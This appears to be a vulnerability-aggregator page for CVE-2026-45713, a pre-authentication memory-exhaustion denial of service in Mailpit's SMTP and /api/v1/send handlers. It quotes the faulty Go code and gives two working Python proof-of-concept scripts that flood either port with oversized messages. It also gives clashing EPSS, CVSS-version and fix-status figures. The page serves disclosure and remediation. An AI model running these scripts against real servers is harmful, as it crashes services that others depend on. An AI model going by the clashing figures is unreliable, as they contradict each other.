CVE-2026-45713

HIGHPre-NVD 7.57.5
EchelonGraph scoreLOW confidence

This high-severity CVE scores 7.5 under the CNA's CVSS (NVD's own analysis pending). EPSS exploit probability: 0.1%, top 73% of all CVEs by exploit prediction. GitHub Security Advisory data not yet ingested — confidence will rise once GHSA publishes (typical lag: hours to days for open-source ecosystem CVEs; never for infrastructure-only CVEs).

Triggered by: NVD CVSS baseline
Sources: cna:github_m, epss
7.5
EchelonGraph verdictPlan a fixSerious severity, but no confirmed exploitation yet.
  • High severity, but no confirmed exploitation yet
CISA-KEV: Not listedEPSS: 0%CVSS: 7.5Exploit: NoneExposed: 0

No vendor fix yet — apply a workaround or compensating control (WAF / firewall / segmentation) and watch for a patch.

Mailpit: Unauthenticated remote memory-exhaustion DoS via unlimited SMTP DATA and /api/v1/send body sizes

Summary

The Mailpit SMTP server has a Server.MaxSize int field that controls the maximum allowed DATA payload size, but the field is never assigned anywhere outside test code, leaving it at Go's zero value (0 ⇒ "no limit"). The same applies to the HTTP /api/v1/send endpoint, whose request body is decoded with json.NewDecoder(r.Body) and no http.MaxBytesReader. Because Mailpit's default listeners bind [::]:1025 (SMTP) and [::]:8025 (HTTP), with no authentication required on either, a single network-reachable attacker can push an arbitrarily large message into Mailpit and watch RAM consumption spike with a ~7-10× amplification factor (raw frame → enmime envelope tree → search-text index → zstd-encoded write to SQLite). Repeating the attack — or running it concurrently from multiple connections — drives the process to OOM-kill.

Details

Pre-auth, remote DoS on every Mailpit deployment running the default configuration. Memory is the primary axis; disk is a secondary one, because each oversized message is also persisted to the SQLite store (config.MaxMessages caps the count at 500 but never the bytes — so 500 attacker-sized messages × 1 GiB each = ~500 GiB on the host disk before the LRU rotates).

Affected code internal/smtpd/smtpd.go:107 — the field exists:

type Server struct {
    ...
    MaxSize int // Maximum message size allowed, in bytes
    ...
}
internal/smtpd/smtpd.go:863-877 — the enforcement is gated on > 0:

for {
    ...
    line, err := s.br.ReadBytes('\n')
    if err != nil {
        return nil, err
    }
    if bytes.Equal(line, []byte(".\r\n")) {
        break
    }
    if line[0] == '.' {
        line = line[1:]
    }

if s.srv.MaxSize > 0 { // ← only when set if len(data)+len(line) > s.srv.MaxSize { _, _ = s.br.Discard(s.br.Buffered()) return nil, maxSizeExceeded(s.srv.MaxSize) } } data = append(data, line...) // ← otherwise grows unbounded }

internal/smtpd/main.go:223-248 — the field is never populated; grep -rn "MaxSize" cmd/ config/ returns zero hits. There is no --smtp-max-message-size CLI flag, no MP_SMTP_MAX_MESSAGE_SIZE env var.

server/apiv1/send.go:45-52 — HTTP path has the same defect:

decoder := json.NewDecoder(r.Body)
data := sendMessageParams{}
if err := decoder.Decode(&data.Body); err != nil {
    httpJSONError(w, err.Error())
    return
}

No r.Body = http.MaxBytesReader(w, r.Body, N) wrapper; server.ReadTimeout of 30 s is transmission-time, not body-size-budget.

PoC

Baseline RSS on a freshly-started binary: 25 MiB. After one 100 MiB SMTP DATA block: ~1 037 MiB (≈10× amplification, single connection, no auth):

#!/usr/bin/env python3

poc-smtp-dos.py

import socket, sys host, port = sys.argv[1], int(sys.argv[2]) mb = int(sys.argv[3]) # message size, MiB

s = socket.create_connection((host, port), timeout=120) def r(): return s.recv(4096).decode("latin-1", "replace").strip() print(r()) for cmd in [b"HELO x\r\n", b"MAIL FROM:\r\n", b"RCPT TO:\r\n", b"DATA\r\n"]: s.sendall(cmd); print(r()) s.sendall(b"Subject: oversize\r\n\r\n") chunk = b"X" * (1024 * 1024) for _ in range(mb): s.sendall(chunk) s.sendall(b"\r\n.\r\n") print(r()); s.close()

$ python3 poc-smtp-dos.py 127.0.0.1 1025 100
220 hostname Mailpit ESMTP Service ready
250 hostname greets x
250 2.1.0 Ok
250 2.1.5 Ok
354 Start mail input; end with .
250 2.0.0 Ok: queued as 58rI69JTJYjVFwogEbw9Jj

$ ps -o rss= -p $(pgrep -f /usr/local/bin/mailpit) 1062848 # ≈ 1 037 MiB, up from 25 MiB baseline

Equivalent over HTTP:

# poc-http-dos.py
import socket, sys
host, port, mb = sys.argv[1], int(sys.argv[2]), int(sys.argv[3])
prefix = b'{"From":{"Email":"[email protected]"},"To":[{"Email":"[email protected]"}],"Subject":"big","Text":"'
suffix = b'"}'
N      = mb * 1024 * 1024
clen   = len(prefix) + N + len(suffix)

s = socket.create_connection((host, port), timeout=120) s.sendall( b"POST /api/v1/send HTTP/1.1\r\n" b"Host: x\r\n" b"Content-Type: application/json\r\n" b"Content-Length: " + str(clen).encode() + b"\r\n" b"Connection: close\r\n\r\n") s.sendall(prefix) chunk = b"X" * (1024 * 1024) for _ in range(mb): s.sendall(chunk) s.sendall(suffix) print(s.recv(500).decode("latin-1", "replace"))

$ python3 poc-http-dos.py 127.0.0.1 8025 200
HTTP/1.1 200 OK
...
$ ps -o rss= -p $(pgrep -f /usr/local/bin/mailpit)
2147000      # comfortably above 2 GiB on the same process

Five concurrent SMTP connections × 50 MiB each took the same machine from 25 MiB → 1 970 MiB during the attack window. With sufficient bandwidth the only ceiling is host RAM.

Impact

Unauthenticated remote attackers can send arbitrarily large emails via SMTP or HTTP, causing unbounded memory and disk growth, leading to out-of-memory (OOM) kills and full Mailpit process crash (DoS)

CVSS v3
7.5
EG Score
7.5(low)
EPSS
27.3%
KEV
Not listed

Published

May 19, 2026

Last Modified

May 19, 2026

Vendor Advisories for CVE-2026-45713(1)

These vendors published their own advisory mentioning this CVE — often with vendor-specific remediation steps + affected product lists not in NVD.

Affected Packages

(1 across 1 ecosystem)
Go(1)
PackageVulnerable rangeFixed inDependents
github.com/axllent/mailpit1.30.0

Data Freshness Timeline

(refreshed 0× in last 7d / 11× in last 30d)

Each row is a source pipeline that fetched or updated this CVE on that date, with what changed. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. Most recent first.

  1. 2026-06-29 20:54 UTCEG score recompute
  2. 2026-06-28 07:58 UTCEG score recompute
  3. 2026-06-27 20:25 UTCEG score recompute
  4. 2026-06-27 07:36 UTCEG score recompute
  5. 2026-06-26 19:48 UTCEG score recompute
  6. 2026-06-26 04:29 UTCEG score recompute
  7. 2026-06-25 17:06 UTCEG score recompute
  8. 2026-06-17 23:05 UTCEG score recompute
  9. 2026-06-17 11:45 UTCEG score recompute
  10. 2026-06-16 20:57 UTCEG score recompute
  11. 2026-06-16 03:42 UTCEG score recompute
  12. 2026-06-15 16:24 UTCEG score recompute
  13. 2026-06-15 00:23 UTCEG score recompute
  14. 2026-06-14 23:18 UTCEPSS rescore
  15. 2026-06-14 13:06 UTCEG score recompute
  16. 2026-06-14 01:50 UTCEG score recompute
  17. 2026-06-13 23:00 UTCEPSS rescore
  18. 2026-06-13 14:34 UTCEG score recompute
  19. 2026-06-13 00:57 UTCEG score recompute
  20. 2026-06-12 23:12 UTCEPSS rescore
  21. 2026-06-12 13:41 UTCEG score recompute
  22. 2026-06-12 02:23 UTCEG score recompute
  23. 2026-06-11 15:08 UTCEG score recompute
  24. 2026-06-11 03:52 UTCEG score recompute
  25. 2026-06-10 16:37 UTCEG score recompute
Show 21 more
  1. 2026-06-10 05:21 UTCEG score recompute
  2. 2026-06-09 18:06 UTCEG score recompute
  3. 2026-06-09 06:50 UTCEG score recompute
  4. 2026-06-08 19:34 UTCEG score recompute
  5. 2026-06-08 05:58 UTCEG score recompute
  6. 2026-06-07 18:42 UTCEG score recompute
  7. 2026-06-07 07:27 UTCEG score recompute
  8. 2026-06-06 20:12 UTCEG score recompute
  9. 2026-06-06 08:56 UTCEG score recompute
  10. 2026-06-05 21:40 UTCEG score recompute
  11. 2026-06-05 10:24 UTCEG score recompute
  12. 2026-06-04 23:09 UTCEG score recompute
  13. 2026-06-04 11:53 UTCEG score recompute
  14. 2026-06-04 00:37 UTCEG score recompute
  15. 2026-06-03 13:21 UTCEG score recompute
  16. 2026-06-03 02:04 UTCEG score recompute
  17. 2026-06-02 14:48 UTCEG score recompute
  18. 2026-06-02 03:32 UTCEG score recompute
  19. 2026-06-01 16:16 UTCEG score recompute
  20. 2026-06-01 05:01 UTCEG score recompute
  21. 2026-05-24 06:14 UTCEG score recompute

Frequently asked(5)

What is CVE-2026-45713?
CVE-2026-45713 is a high vulnerability published on May 19, 2026. Mailpit: Unauthenticated remote memory-exhaustion DoS via unlimited SMTP DATA and /api/v1/send body sizes Summary The Mailpit SMTP server has a Server.MaxSize int field that controls the maximum allowed DATA payload size, but the field is never assigned anywhere outside test code, leaving it at…
When was CVE-2026-45713 disclosed?
CVE-2026-45713 was first published in the National Vulnerability Database on May 19, 2026. EchelonGraph re-ingests CVE updates from NVD on a 2-hour cycle, so this page reflects the latest published state.
Is CVE-2026-45713 actively exploited?
CVE-2026-45713 is not currently on CISA's Known Exploited Vulnerabilities catalog. FIRST EPSS estimates a 27.3% percentile likelihood of exploitation in the next 30 days — higher percentiles indicate greater predicted risk.
What is the CVSS score of CVE-2026-45713?
CVE-2026-45713 has a CVSS v4.0 base score of 7.5 (CNA self-assessment; NVD's own analysis pending). The EG score is currently aggregating — additional source signals are being incorporated as they become available..
How do I remediate CVE-2026-45713?
Patch to the fixed version published by the affected vendor. Where vendor advisories exist for CVE-2026-45713, EchelonGraph cross-links them in the Vendor Advisories panel below — those typically contain the canonical remediation steps, fixed version numbers, and any vendor-specific mitigations.

Dependency Blast Radius

See which npm, PyPI, Go, and Maven packages are affected by CVE-2026-45713

Explore →

Is Your Infrastructure Affected by CVE-2026-45713?

EchelonGraph automatically scans your cloud infrastructure and maps CVE exposure using blast radius analysis.